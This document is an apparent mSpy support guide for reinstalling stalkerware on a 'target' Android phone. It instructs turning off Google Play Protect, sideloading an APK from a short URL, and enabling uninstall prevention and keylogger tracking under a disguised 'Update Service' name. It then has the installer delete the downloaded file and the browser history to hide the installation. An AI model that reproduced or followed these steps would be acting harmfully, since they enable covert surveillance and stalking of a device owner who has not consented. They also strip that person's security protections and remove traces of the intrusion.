Uninstallation first!
In order to remove mSpy from the target device please go to Settings -> Security -> Device administrators:
(for Samsung: Settings -> Lockscreen &Security -> Other security settings -> Device administrators - disable 'Update service'.)
(for Huawei: Settings -> Advanced settings -> Security -> Device Administrators - > disable/turn OFF 'Update Service')
(for Xiaomi: Settings -> Additional settings -> Privacy -> Device Administrators - > disable/turn OFF 'Update Service'
Go back to Settings -> Apps/Application manager -> find and uninstall 'Update service'.
The mSpy app is now uninstalled on the target phone. Now login to your mSpy account -> go to the tab called Device management (the last tab in the left-hand side list) and hit the red button 'Re-install'. This button will unlink the target phone from your mSpy account.
Install It Again!
Step 1 - Preparation steps:
- Enable/Turn on ‘Unknown Sources’ under Settings -> Lock screen & Security (or Settings -> Security). Please note that this option may not be available on some devices. In that case, you can just proceed to the next step.
- Disable/turn OFF ‘Google Play Protect’ under Settings -> Google -> Security -> Google Play Protect -> disable 'Scan device for security threats'. (or Settings -> Google services -> Security -> Google Play Protect -> disable 'Scan device for security threats'
If you can not find ‘Google’ options under Settings, then you need to look for the ‘Google Settings’ icon in the Menu of that device and then go to Security -> Google Play Protect -> disable 'Scan device for security threats'
Step 2 - Download the mSpy installation file:
- Launch the ‘Google Chrome’ browser (or just ‘Chrome’).
- Tap on the address bar on the top of the Chrome browser.
- Type there the following: b55y.net/a
- After a page appears please draw the verification Captcha (draw the shape or enter letters);
- Once the shape is drawn successfully please press the "Download" button, then press ‘Open’.
Step 3 - mSpy installation procedure:
- Press ‘Next’ - ‘Next’ - ‘Install’, then ‘Open’.
- On the mSpy installation window ‘Welcome to mSpy’ you need to tick ‘Accept license agreement to proceed’
- Then turn on the option ‘Prevent uninstall’ and you will be transferred to Settings to activate the ‘Update Service’ option (press ‘Activate’ button). Once it’s done, then just return back (press ‘Back’ button).
- Turn on the option ‘Allow Keylogger tracking’ and you will be transferred to activate/enable ‘Framework Update Service’ in the list of options. Press ‘Back’ to return to mSpy installation window.
- Turn on the option ‘Allow collecting data’ and you will be transferred to activate/enable ‘Update Service’. Press ‘Back’ to return to the mSpy installation window.
- Insert/type the mSpy registration code that you can find on Step 3 of the installation wizard in your mSpy account.
If there is no ‘Open’ button after installation it means that you have already installed mSpy, but didn’t finish it completely. In this case, you need to remove mSpy from that device and proceed with installation again, but in the correct order.
In order to remove mSpy from the target device please go to Settings -> Security -> Device administrators
(for Samsung: Settings -> Lockscreen &Security -> Other security settings -> Device administrators - disable 'Update service'.)
(for Huawei: Settings -> Advanced settings -> Security -> Device Administrators - > disable/turn OFF 'Update Service')
(for Xiaomi: Settings -> Additional settings -> Privacy -> Device Administrators - > disable/turn OFF 'Update Service'
Go back to Settings -> Apps/Application manager -> find and uninstall 'Update service'.
Step 4 - Remove the installation traces:
- Open the ‘Google Chrome’ web-browser and find 3 vertical dots in the upper right corner (Settings button). Press on it and look for the ‘Downloads’ option. Please remove ‘bt.apk’ file from the target device (this is an mSpy installation file).
- Return back to Settings in ‘Google Chrome’ and find the ‘History’ option there. Please remove all traces with the address b55y.net/a.
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